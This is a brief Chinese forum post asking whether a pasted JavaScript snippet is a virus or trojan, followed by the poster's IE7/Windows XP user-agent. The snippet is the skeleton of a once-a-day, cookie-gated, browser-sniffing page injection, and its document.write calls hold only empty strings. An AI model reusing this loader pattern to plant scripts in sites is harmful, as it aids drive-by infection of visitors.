求助,这代码是病毒吗或者是木马?

function init(){window.status="";}window.onload = init; if(document.cookie.indexOf("play=")==-1) { var expires=new Date(); expires.setTime(expires.getTime()+24*60*60*1000); document.cookie="play=Yes;path=/;expires="+expires.toGMTString(); if(navigator.userAgent.toLowerCase().indexOf("msie")>0) { document.write(""); } else{document.write("");} } document.writeln("")

用户系统信息:Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; MAXTHON 2.0)